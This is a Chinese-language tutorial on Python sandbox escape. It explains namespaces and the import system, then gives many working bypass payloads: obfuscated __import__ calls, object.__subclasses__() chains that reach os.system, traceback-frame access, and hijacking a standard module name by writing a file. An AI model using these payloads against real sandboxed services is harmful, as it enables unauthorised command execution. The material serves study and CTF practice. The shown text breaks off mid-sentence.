少女祈祷中...

初探python沙箱逃逸

为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中。沙箱经常会禁用一些敏感的函数和模块,例如 os

沙箱逃逸就是绕过某些函数,特殊字符串,或模块的限制,达到一个漏洞环境

基础知识

命令执行函数与模块

在 Python 中执行系统命令的方式有:

  • os:system,popen
  • commands:(仅限2.x)getstatusoutput,getoutput
  • subprocess: getstatusoutput,getoutput
  • timeit:timeit.systimeit.timeit("__import__('os').system('whoami')", number=1)
  • platform:platform.osplatform.sysplatform.popen('whoami', mode='r', bufsize=-1).read()
  • pty:pty.spawn('ls')pty.os
  • bdb:bdb.oscgi.sys
  • cgi:cgi.oscgi.sys
print(os.system('whoami'))
print(os.popen('whoami').read())
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
...

命名空间和作用域

命名空间定义了在某个作用域内变量名和绑定值之间的对应关系,命名空间是键值对的集合,变量名与值是一一对应关系。作用域定义了命名空间中的变量能够在多大范围内起作用。命名空间在python解释器中是以字典的形式存在的,是以一种可以看得见摸得着的实体存在的。作用域是python解释器定义的一种规则,该规则确定了运行时变量查找的顺序,是一种形而上的虚的规定。

命令空间

  • 命名空间提供了一个在大型项目下避免名字冲突的方法
  • Python 中各个命名空间都是独立的,他们之间无任何关系
  • 一个命名空间中不能有重名,但不同的命名空间是可以重名而没有任何影响。

命名空间的种类分为 3 类,命名空间的种类也体现了命名空间的生命周期。三个种类及生命周期描述如下:

1)内置名称(built-in names)

Python 语言内置的名称,比如函数名 abs、char 和异常名称 BaseException、Exception 等等。

生命周期:

对于Python built-in names组成的命名空间,它在Python解释器启动的时候被创建,在解释器退出的时候才被删除;

2)全局名称(global names)

模块中定义的名称,记录了模块的变量,包括函数、类、其它导入的模块、模块级的变量和常量。

生命周期:

对于一个Python模块的global namespace,它在这个module被import的时候创建,在解释器退出的时候退出;

3)局部名称(local names)

函数中定义的名称,记录了函数的变量,包括函数的参数和局部定义的变量。(类中定义的也是)

生命周期:

对于一个函数的local namespace,它在函数每次被调用的时候创建,函数返回的时候被删除。

注意: 命名空间的生命周期取决于对象的作用域,如果对象执行完成,则该命名空间的生命周期就结束。 因此,我们无法从外部命名空间访问内部命名空间的对象。例如:

# var1 是全局名称
var1 = 5
def some_func():

# var2 是局部名称
var2 = 6
def some_inner_func():

# var3 是内嵌的局部名称
var3 = 7

局部的命名空间 -> 全局命名空间 -> 内置命名空间

作用域

作用域就是一个 Python 程序可以直接访问命名空间的正文区域。

  • Python 程序中,直接访问一个变量,会从内到外依次访问所有的作用域直到找到,否则会报未定义的错误。
  • Python 中,程序的变量并不是在哪个位置都可以访问的,访问权限决定于这个变量是在哪里赋值的。
  • Python 中, 变量的作用域决定了在哪一部分程序可以访问哪个特定的变量名称

作用域分为4类,分别如下:

  • L(Local):最内层,包含局部变量,比如一个函数/方法内部。
  • E(Enclosing):包含了非局部(non-local)也非全局(non-global)的变量。比如两个嵌套函数,一个函数(或类) A 里面又包含了一个函数 B ,那么对于 B 中的名称来说 A 中的作用域就为 nonlocal。
  • G(Global):当前脚本的最外层,比如当前模块的全局变量。
  • B(Built-in): 包含了内建的变量/关键字等,最后被搜索。

作用域规则顺序为: L->E->G->B 如果变量在局部内找不到,便会去局部外的局部找(例如闭包),再找不到就会去全局找,再找不到就去内置中找,

Python import机制

具体细节参考官方文档

模块 module 与 包 package

模块–

一个 .py 后缀文件即是 Python 的一个模块。在模块的内部,可以通过全局变量 __name__ 来获得模块名。模块可以包含可执行的语句,这些语句会在模块 初始化 的时候执行 —— 当所在模块被 import 导入时它们有且只会执行一次。

包–

目前的 Python 实际上是有两种包的存在:正规包regular Package) 以及 命名空间包Namespace package)。

要注意的是,Python 的 package 实际上都是特殊的 module :可以通过导入 package 之后查看 globals() 可知;实际上,任何带有 path 属性的对象都会被 Python 视作 package 。

  • 正规包: 在 Python 3.2 之前就已经存在了的,通常是以包含一个 __init__.py 文件的目录形式展现。当 package 被导入时,这个 __init__.py 文件会被 隐式 地执行。
  • 命名空间包: 根据 PEP420 的定义,命名空间包是由多个 portion 组成的 —— portion 类似于父包下的子包,但它们物理位置上不一定相邻,而且它们可能表现为 .zip 中的文件、网络上的文件等等。命名空间包不需要 __init__.py 文件,只要它本身或者子包(也就是 portion)被导入时,Python 就会给顶级的部分创建为命名空间包 —— 因此,命名空间包不一定直接对应到文件系统中的对象,它可以是一个 虚拟 的 module 。

import导包

import就是将python文件转化为一个python对象–module 的一个操作

模块中的 Python 代码可以通过 import(导入)操作访问另一个模块内的代码。import 语句时调起导入机制的常用方式,但不是唯一方式。importlib.import_module() 以及内置的 __import__() 函数都可以调起导入机制。

import 语句实际上结合了两个操作:

  1. 搜索操作:根据指定的命名查找模块
  2. 绑定操作:将搜索的结果绑定到当前作用域对应的命名上

import 的 search 操作实际上是带参调用 __import__() 函数,而函数的返回值会用在 import 语句的绑定操作上。

直接调用 __import__() 只会执行模块查找,以及如果找到的话就创建模块。这会有一定的副作用,比如导入父包和更新各式各样的缓存(包括 sys.modules),而且绑定操作只有 import 语句才会做得到。

其他调起导入机制的行为(比如 importlib.import_module())有可能会绕过 __import__() 并使用自定义的方法来实现导入。

当一个模块被首次导入时,Python 会搜索该模块,如果找到就创建一个 module 对象并初始化;如果未找到则抛出 ModuleNotFoundError 异常。至于如何找到这些模块,Python 定义了多种的 搜索策略 (search strategy),而这些策略可以通过 importlib 等提供的各类 hook 来修改和扩展。

根据 Python 3.3 的 changlog 可知目前导入系统已完全实现了 PEP302 的提案,所有的导入机制都会通过 sys.meta_path 暴露出来,不会再有任何隐式的导入机制。

import搜索机制

模块搜索路径

当我们要导入一个模块(比如 foo )时,解释器首先会根据命名查找内置模块,如果没有找到,它就会去查找 sys.path 列表中的目录,看目录中是否有 foo.pysys.path 的初始值来自于:

  • 运行脚本所在的目录(如果打开的是交互式解释器则是当前目录)
  • PYTHONPATH 环境变量(类似于 PATH 变量,也是一组目录名组成)
  • Python 安装时的默认设置

为了开始搜索,Python 需要被导入模块(或者包)的完全限定名(fully qualified name)。这个名称可能作为 import 语句的参数得到,或者是从函数 importlib.import_module()__import__() 的传参得到。

1.缓存 cache

在导入搜索开始前,会先检查 sys.modules

sys.modules 是一个字典,里面储存了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库例如 os 是默认被加载进来的,但是不能直接使用(但是可以通过 sys.modules 来使用,例如 sys.modules["os"]),原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。

它是导入系统的缓存,如果之前已经导入过 foo.bar.baz,则将会包含 foofoo.bar 以及 foo.bar.baz 键,其对应的值为各自的 module 对象。

导入期间,如果在 sys.modules 找到对应的模块名的键,则取出其值,导入完成(如果值为 None 则抛出 ModuleNotFoundError 异常);否则就进行搜索操作。

sys.modules 是可修改的,强制赋值 None 会导致下一次导入该模块抛出 MoudleNotFoundError 异常;如果删掉该键则会让下次导入触发搜索操作。

注意,如果要更新缓存,使用 删除 sys.modules 的键 这种做法会有副作用,因为这样回导致前后导入的同名模块的 module 对象不是同一个。最好的做法应该是使用 importlib.reload() 函数。

2.查找器 finder 和加载器 loader

如果在缓存中找不到模块对象,则 Python 会根据 import 协议去查找和加载该模块进来。这个协议在 PEP320 中被提出,有两个主要的组成概念:finder 和 loader 。finder 的任务是确定能否根据已知的策略找到该名称的模块。同时实现了 finder 和 loader 接口的对象叫做 importer —— 它会在找到能够被加载的所需模块时返回自身。

Python 自带了一些默认的 finder 和 importer 。其中第一个知道 如何定位内置模块,第二个知道 如何定位 frozen 模块,第三个默认的 finder 会在 import path 中查找模块(即 path based finder)。

注意在 Python 3.4 之前 finder 会直接返回 loader 而不是 module spec,后者实际上已经包含了 loader 。

我们可以打印来看一下这三个 Importer 和 Finder :

import sys
import pprint
pprint.pprint(sys.meta_path)
# [<class '_frozen_importlib.BuiltinImporter'>,
# <class '_frozen_importlib.FrozenImporter'>,
# <class '_frozen_importlib_external.PathFinder'>]

finder 并不会真正加载模块。如果他能找到对应命名的模块,会返回一个 module spec,它实际上是 module 导入所需信息的封装,供后续导入机制使用来加载模块。

import hook

import hook 是用来扩展 import 机制的,它有两种类型

  • meta hook
  • import path hook

meta hook 会在导入的最开始被调用(在查找缓存 sys.modules 之后),你可以在这里重载对 sys.path、frozen module甚至内置 module 的处理。只需要往 sys.meta_path 添加一个新的 finder 即可注册 meta_hook 。

import path hook 会在 sys.path (或 package.__path__)处理时被调用,它们会负责处理 sys.path 中的条目。只需要往 sys.path_hooks 添加一个新的可调用对象即可注册 import path hook 。

元路径 meta_path

当无法从 sys.modules 中找到模块时,Python 会继续搜索 sys.meta_path 列表,列表中的 finder 会被依次用来查询是否知道如何处理这个命名的模块。

所有的 meta path finder 都必须实现 find_spec 方法(参考 importlib.abc.MetaPathFinder.find_spec),如果无法处理就返回 None;否则返回一个 spec 对象(即 importlib.machinery.ModuleSpec 的实例)。如果全部的 finder 都没有返回,将抛出 ModuleNotFoundError 异常并放弃导入。

find_spec(fullname, path, target=None)

以 foo.bar.baz 模块为例对 find_spec 进行说明

参数说明示例fullname被导入模块的完全限定名foo.bar.bazpath供搜索使用的路径列表,对于最顶级模块,这个值为 None;对于子包,这个值为父包的 path 属性值foo.bar.__path__target用作稍后加载目标的现有模块对象,这个值仅会在重载模块时传入None

对于单个导入请求可能会多次遍历 meta_path,加入示例的模块都尚未被缓存,则会在每个 finder (以 mpf 命名)上依次调用

  • mpf.find_spec(“foo”, None, None)
  • mpf.find_spec(“foo.bar”, foo.path, None)
  • mpf.find_spec(“foo.bar.baz”, foo.bar.path, None)

Python 3.4 之后 finder 的 find_module() 已被 find_spec() 所替代并弃用。

import加载机制

源代码

module = None
if spec.loader is not None and hasattr(spec.loader, 'create_module'):
# It is assumed 'exec_module' will also be defined on the loader.
# 假定 loader 中已经定义了 `exec_module` 模块
module = spec.loader.create_module(spec)
if module is None:
module = ModuleType(spec.name)
# The import-related module attributes get set here:
# 和模块导入相关联的属性在这个初始化方法中被设置
_init_module_attrs(spec, module)

if spec.loader is None:
if spec.submodule_search_locations is not None:
# namespace package
# 倘若这个模块是命名空间包
sys.modules[spec.name] = module
else:
# unsupported
# 不支持命名空间包
raise ImportError
elif not hasattr(spec.loader, 'exec_module'):
module = spec.loader.load_module(spec.name)
# Set __loader__ and __package__ if missing.
# 如果缺失 `__loader__` 和 `__package__` 属性则要补充
else:
sys.modules[spec.name] = module
try:
spec.loader.exec_module(module)
except BaseException:
try:
del sys.modules[spec.name]
except KeyError:
pass
raise
return sys.modules[spec.name]

以下是一些细节:

  • 在 loader 执行 exec_module 之前,需要将模块缓存在 sys.modules :因为模块可能会导入自身,这样做可以防止无限递归(最坏情况)或多次加载(最好情况)。
  • 如果加载失败,那么失败的模块会从 sys.modules 中被移除。任何已经存在的模块或者依赖但成功加载的模块都会保留 —— 这和重载不一样,后者即使加载失败也会保留失败的模块在 sys.modules 中。
  • 模块的执行是加载的关键步骤,它负责填充模块的命名空间。模块执行将会全权委托给 loader ,由 loader 决定如何填充和填充什么。
  • 创建出来并传递给 exec_module 执行的 module 对象可能和最后被 import 的 module 对象不一样。

loader 对象

loader 是 importlib.abc.Loader 的实例,负责提供最关键的加载功能:模块执行。它的 exec_module() 方法接受唯一一个参数 —— module 对象,它所有的返回值都会被忽略。

loader 必须满足以下条件:

  • 如果这个 module 是一个 Python module(和内置模块以及动态加载的扩展相区分),则 loader 应该在模块的全局命名空间(module.__dict__)中执行模块代码。
  • 如果 loader 不能执行模块,应该抛出 ImportError 异常。

Python 3.4 的两个变化:

  1. loader 提供 create_module() 来创建 module 对象(接受一个 module spec object 并返回 module object)。如果返回 None ,则由导入机制自行创建模块。因为 module 对象在模块执行前必须存在 sys.modules 中。
  2. load_module() 方法被 exec_module() 方法替代,为了向前兼容,如果存在 load_module() 且未实现 exec_module, 导入机制才会使用 load_module() 方法。

module spec 对象

module spec 主要有两个作用:

  1. 传递 —— 可以在导入系统的不同组件,如 finder 和 loader 之间传递状态信息
  2. 模板(boilerplate)构建 —— 导入机制可以根据 module spec 执行模板加载操作,没有 module spec 则 loader 需要负责完成这个工作。

module spec 通过 module 对象的 spec 属性得以公开,可以查看 ModuleSpec 获取更多信息。

 import requests
requests.__spec__
ModuleSpec(name='requests', loader=<_frozen_importlib_external.SourceFileLoader object at 0x000002EE4EBBF7B8>, origin='C:\\Python37\\lib\\site-packages\\requests\\__init__.py', submodule_search_locations=['C:\\Python37\\lib\\site-packages\\requests'])

_init_module_attrs 步骤中,导入机制会根据 module spec 填充 module 对象(这个过程发生在 loader 执行模块之前)

属性 说明
name 模块的完全限定名
loader 模块加载时使用的 loader 对象,主要是用于内省
package 取代 __name__ 用于处理相对导入,必须设置!当导入包时,这个值和 __name__ 相同;当导入子包时,则为其父包名;为顶级模块时,应该为空字符串
spec 导入时要使用的 module spec 对象
path 如果模块为包,则必须设置!这个值为可迭代对象,如果没有进一步用途,可以为空,否则迭代结果应该为字符串
file 可选值,只有内置模块可以不设置 __file__ 属性
cached 为编译后字节码文件所在路径,它和 __file__ 的存在互不影响

在命名空间包出来之前,如果想实现命名空间包功能,一般是在包的 __init__.py 中修改其 __path__ 属性。随着 PEP420 的引入,命名空间包已经可以不需要 __init__.py 的这种操作了。

path-based-finder 基于元路径查找器

上文已经提到过,Python 默认自带了几个 meta path 的 finder ,其中之一就是 PathBasedFinder ,它负责搜索 import path 上的路径。

这个 finder 实际上并不知道如何进行 import ,它的工作只是遍历 import path 上的每一个条目,将它们关联到某个知道如何处理特定类型路径的 path entry finder(路径条目查找器)。

根据术语表,path entry finder 是由 sys.path_hook 列表中的可调用对象返回的(前提是它知道如何根据特定路径条目找到模块)。

可以将 PathEntryFinder 看作 PathBasedFinder 的具体实现。实际上,如果从 sys.meta_path 中移除了 PathBasedFinder ,则不会有任何 PathEntryFinder 被调用。

path entry finder 路径条目查找器

PathBasedFinder 会使用到三个变量,它们会提供给自定义导入机制的额外途径,包括:

  • sys.path
  • sys.path_hooks
  • sys.path_importer_cache

包的 path 属性也会被使用。

sys.path 是一个字符串列表,提供了模块和包的搜索位置。它的条目可以来自于文件系统的目录、zip 文件或者其他潜在可以找到模块的“位置”(参考 site 模块)。

由于 PathBasedFinder 是一个 meta path finder ,所以必须实现了 find_spec() 方法。导入机制会通过调用这个方法来搜索 import path (通过传入 path 参数 —— 它是一个可遍历的字符串列表)。

find_spec() 内部,会迭代 path 的每个条目,并且每次都查找与条目相对应的 PathEntryFinder。但由于这个操作会很耗资源,因此 PathBasedFinder 会维持一个缓存 —— sys.path_importer_caceh 来存放路径条目到 finder 之间的映射(虽然是这样子命名,但它存放的确实是 finder 对象而不是 importer 对象)。那么只要条目找到过一次 finder 就不会重新再匹配(你可以手动移除缓存条目来达到再次强制匹配的目的)。

如果缓存中没有对应路径条目的键,则会迭代 sys.path_hooks 中的每个 可调用对象。这些可调用对象都接受一个 path 参数,并返回一个 PathEntryFinder 或者抛出 ImportError 异常。

如果遍历完整个 sys.path_hooks 的可调用对象都没有返回 PathEntryFinder,则 find_spec() 方法会在 sys.path_importer_cache 中存入 None 并返回 None ,表示 PathBasedFinder 无法找到该模块。

总结

python启动时默认初始化能得到的:

  • sys.modules : 一个存放了曾经导入的模块(也包括一些内置模块)的字典(缓存)
  • sys.path :初始化的路径(包括项目路径,系统PATH路径,Python安装的路径)

当需要import一个模块时,主要分为查找和加载两步

  • 查找:首先在sys.modules中查找,若未查找到,则触发相应查找机制,通过内置的finder查找器在已经初始化好(sys.path;meta_path)的路径下寻找模块,若找到则会返回一个 spec 对象,否则抛出不能找到模块的异常
  • 加载:首先会将模块信息缓存在sys.modules中,如果加载失败,那么失败的模块会从 sys.modules 中被移除,然后创建module对象,创建相应的命名空间,并对该module对象进行初始化–写入一些模块内置属性(__name__、__spec__等等)然后传递module对象给加载核心loader,在模块的全局命名空间(module.__dict__)中执行模块代码(创建模块代码中相应对象和执行相应代码)。如果 loader 不能执行模块,应该抛出 ImportError 异常

加载成功后返回对应module对象赋给import 后面的模块名(当然也可以通过as赋予其他名字),并写入缓存

参考文章:http://sinhub.cn/2019/05/python-import-machinery-part-one/

命令执行沙箱逃逸

import

直接禁用 import os 肯定是不行的

import  os
import os
import os
...

如果多个空格也过滤了,Python 能够 import 的可不止 import,还有 __import____import__('os')__import__被干了还有 importlibimportlib.import_module('os').system('ls')

import本质上就是执行一遍导入的库。这个过程实际上可以用 execfile 来代替(python2):

execfile('/usr/lib/python2.7/os.py')
system('ls')

也可以这样,比较通用

with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())

system('ls')

不过要使用上面的这两种方法,就必须知道库的路径。其实在大多数的环境下,库都是默认路径。如果 sys 没被干掉的话,还可以确认一下

import sys
print(sys.path)

如果将 os 从 sys.modules 中剔除,os 就彻底没法用了:

注意,这里不能用 del sys.modules['os'],因为,当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。

所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os。

函数

可以通过 getattr 拿到对象的方法、属性

getattr 相似的还有 __getattr____getattribute__,它们自己的区别就是getattr相当于class.attr,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__,如果__getattribute__找不到,则触发__getattr__

import os
getattr(os, 'metsys'[::-1])('whoami')
>>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
macr0phag3
0

字符串

代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os

以禁掉os字符串为例:

  1. 字符串数组逆序
__import__('so'[::-1]).system('ls')
  1. 字符串拼接
b = 'o'
a = 's'
__import__(a+b).system('ls')
  1. 还可以利用 eval 或者 exec
>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
macr0phag3
0
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
macr0phag3

eval、exec 都是相当危险的函数,exec 比 eval 还要危险

对字符串的处理可以有:逆序、拼接、base64、hex、rot13…等等,

['__builtins__'] 
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']
['X19idWlsdGluc19f'.decode('base64')]
['__buil'+'tins__']
['__buil''tins__']
['__buil'.__add__('tins__')]
["_builtins_".join("__")]
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]
...

builtins、builtin__与__builtins

在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chropen。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。顺便说一下,Python 对函数、变量、类等等的查找方式是按 LEGB 规则来找的,其中 B 即代表内建模块

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看:

>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
macr0phag3
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True

这里稍微解释下 x.__dict__ ,它是 x 内部所有属性名和属性值组成的字典,有以下特点:

  1. 内置的数据类型没有 dict 属性
  2. 每个类有自己的 dict 属性,就算存着继承关系,父类的 dict 并不会影响子类的 dict
  3. 对象也有自己的 dict 属性,包含 self.xxx 这种实例属性

那么既然__builtins__有这么多危险的函数,不如将里面的危险函数破坏了:

但是我们可以利用 reload(__builtins__) 来恢复 __builtins__。不过,我们在使用 reload 的时候也没导入,说明 reload也在 __builtins__里,那如果连reload都从__builtins__中删了,就没法恢复__builtins__了,需要另寻他法。还有一种情况是利用 exec command in _global 动态运行语句时的绕过

通过继承关系逃逸

在 Python 中提到继承就不得不提 mromro就是方法解析顺序,因为 Python 支持多重继承,所以就必须有个方式判断某个方法到底是 A 的还是 B 的。2.2 之前是经典类,搜索是深度优先;经典类后来发展为新式类,使用广度优先搜索,再后来新式类的搜索变为 C3 算法;而 3.x 中新式类一统江湖,默认继承 object,当然也是使用的 C3 搜索算法。。。扯远了扯远了,感兴趣的可以搜搜。不管怎么说,总是让人去判断继承关系显然是反人类的,所以 Python 中新式类都有个属性,.__mro__.mro(),是个元组,记录了继承关系:

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
CEYLON

类的实例在获取 __class__ 属性时会指向该实例对应的类。可以看到,''属于 str类,它继承了 object 类,这个类是所有类的超类。具有相同功能的还有__base____bases__。需要注意的是,经典类需要指明继承 object 才会继承它,否则是不会继承的:

>>> class test:
... pass
...
>>> test.__bases__
()
>>> class test(object):
... pass
...
>>> test.__bases__
(<type 'object'>,)
PYTHON-REPL

那么知道这个有什么用呢?

由于没法直接引入 os,那么假如有个库叫oos,在oos中引入了os,那么我们就可以通过__globals__拿到 os。例如,site 这个库就有 os

>>> import site
>>> site.os
<module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'>
MOONSCRIPT

怎么理解这个 globals 呢?它是函数所在的全局命名空间中所定义的全局变量。也就是只要是函数就会有这个属性。除了 builtin_function_or_method 或者是 wrapper_descriptormethod-wrapper 类型的函数,例如 rangerange.__init__''.split 等等。

那么也就是说,能引入 site 的话,就相当于有 os。那如果 site 也被禁用了呢?没事,本来也就没打算直接 import site。可以利用 reload,变相加载 os

>>> import site
>>> os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'os' is not defined
>>> os = reload(site.os)
>>> os.system('whoami')
macr0phag3
0
PYTHON-REPL

还有,既然所有的类都继承的object,那么我们先用__subclasses__看看它的子类,以 2.x 为例:

>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)
(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)
(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)
(52, <type 'exceptions.BaseException'>)
(53, <type 'module'>)
(54, <type 'imp.NullImporter'>)
(55, <type 'zipimport.zipimporter'>)
(56, <type 'posix.stat_result'>)
(57, <type 'posix.statvfs_result'>)
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(62, <class '_abcoll.Hashable'>)
(63, <type 'classmethod'>)
(64, <class '_abcoll.Iterable'>)
(65, <class '_abcoll.Sized'>)
(66, <class '_abcoll.Container'>)
(67, <class '_abcoll.Callable'>)
(68, <type 'dict_keys'>)
(69, <type 'dict_items'>)
(70, <type 'dict_values'>)
(71, <class 'site._Printer'>)
(72, <class 'site._Helper'>)
(73, <type '_sre.SRE_Pattern'>)
(74, <type '_sre.SRE_Match'>)
(75, <type '_sre.SRE_Scanner'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)
PYTHON

可以看到,site 就在里面,以 2.x 的site._Printer为例(py3.x 中已经移除了这里 globalsos):

>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']
<module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>

>>> # 为了避免 index 位置问题,可以这样写:
>>> [i._Printer__setup.__globals__['os'] for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_Printer"]
<module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>
PROLOG

os 又回来了。并且 site 中还有 __builtins__

这个方法不仅限于 A->os,还阔以是 A->B->os,比如 2.x 中的 warnings

>>> import warnings
>>>
>>> warnings.os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'os'
>>>
>>> warnings.linecache
<module 'linecache' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/linecache.pyc'>
>>>
>>> warnings.linecache.os
<module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>
PYTHON

在继承链中就可以这样(py3.x 中已经移除了这里 globalslinecache):

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
macr0phag3
0
>>> # 为了避免 index 位置问题,可以这样写:
>>> [i.__init__.__globals__['linecache'].__dict__['os'].system('whoami') for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "catch_warnings"]
PROLOG

顺便说一下,warnings这个库中有个函数:warnings.catch_warnings,它有个_module属性:

 def __init__(self, record=False, module=None):
...
self._module = sys.modules['warnings'] if module is None else module
...
OXYGENE

所以通过_module也可以构造 payload(py3.x 中已经移除了 catch_warningslinecache):

>>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
macr0phag3
0
STYLUS

3.x 中的warnings虽然没有 linecache,也有__builtins__

同样,py3.x 中有<class 'os._wrap_close'>,利用方式可以为:

>>> ''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['system']('whoami')
macr0phag3
0
>>> # 为了避免 index 位置问题,可以这样写:
>>> [i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('whoami')
PROLOG

当然这样也是可以的(3.x):

set.mro()[-1].__subclasses__()[133].__init__.__globals__['system']('whoami')
PYTHON

顺便提一下,object 本来就是可以使用的,如果没过滤的话,payload 可以再简化为:

object.__subclasses__()[133].__init__.__globals__['system']('whoami')
PYTHON

还有一种是利用builtin_function_or_method__call__

"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')
SQF

或者简单一点:

[].pop.__class__.__call__(eval, '1+1')
STYLUS

上面这些 payload 大多数是直接 index 了,但是直接用 index 不太健壮,可以都换成列表推导式,用 name 来获取想要的 class,上面也举了好几个例子了,这里就不多说啦。

最后再补充几个。

可以这样利用:

class test(dict):
def __init__(self):
print(super(test, self).keys.__class__.__call__(eval, '1+1'))
# 如果是 3.x 的话可以简写为:
# super().keys.__class__.__call__(eval, '1+1'))
test()
SCSS

还可以利用异常逃逸:

hack = lambda : [0][1]
try:
hack()
except Exception as e:
e.__traceback__.tb_next.tb_frame.f_globals['__builtins__']['__import__']('os').system('whoami')
PYTHON

还可以利用 format

  1. "{0.__class__.__base__}".format([])
  2. "{x.__class__.__base__}".format(x=[])
  3. "{.__class__.__base__}".format([])
  4. ("{0.__class_"+"_.__base__}").format([])

(这里顺手记录下,对于字典键是整数型的比如 {"1":2},format 是无法拿到值的 :),这样会报错:''' {0['1']} '''.format({"1":2})'1' 引号去掉的话又会报没有这个键,这个特性可以见文档

上面的这些利用方式总结起来就是通过 .mro()__class__type(...)__mro____subclasses____base____bases__ 等属性/方法去获取 object,再根据__globals__找引入的__builtins__或者eval等等能够直接被利用的库,或者找到builtin_function_or_method类/类型__call__后直接运行eval

最后,其实沙箱逃逸,对于不同的第三方库可能会存在一些特殊的利用方式,比如 jinja2,这类属于 SSTI 漏洞,可以看这篇博客:传送门🚪,这里就不多说了。

其实 SSTI 也会用到这里的很多技巧,两者知识面相互交叠。

文件读写沙箱逃逸

2.x 有个内建的 file

>>> file('key').read()
'Macr0phag3\n'
>>> file('key', 'w').write('Macr0phag3')
>>> file('key').read()
'Macr0phag3'
DELPHI

还有个 open,2.x 与 3.x 通用。

还有一些库,例如:types.FileType(rw)、platform.popen(rw)、linecache.getlines(r)。

为什么说写比读危害大呢?因为如果能写,可以将类似的文件保存为math.py,然后 import 进来: math.py:

import os

print(os.system('whoami'))
MOONSCRIPT

调用

>>> import math
macr0phag3
0
PYTHON-REPL

这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules中有的,这些库无法这样利用,会直接从sys.modules中加入,比如re

>>> 're' in sys.modules
True
>>> 'math' in sys.modules
False
>>>
PYTHON-REPL

当然在import re 之前del sys.modules['re']也不是不可以…

最后,这里的文件命名需要注意的地方和最开始的那个遍历测试的文件一样:由于待测试的库中有个叫 test的,如果把遍历测试的文件也命名为 test,会导致那个文件运行 2 次,因为自己 import 了自己。

读文件暂时没什么发现特别的地方。

剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:

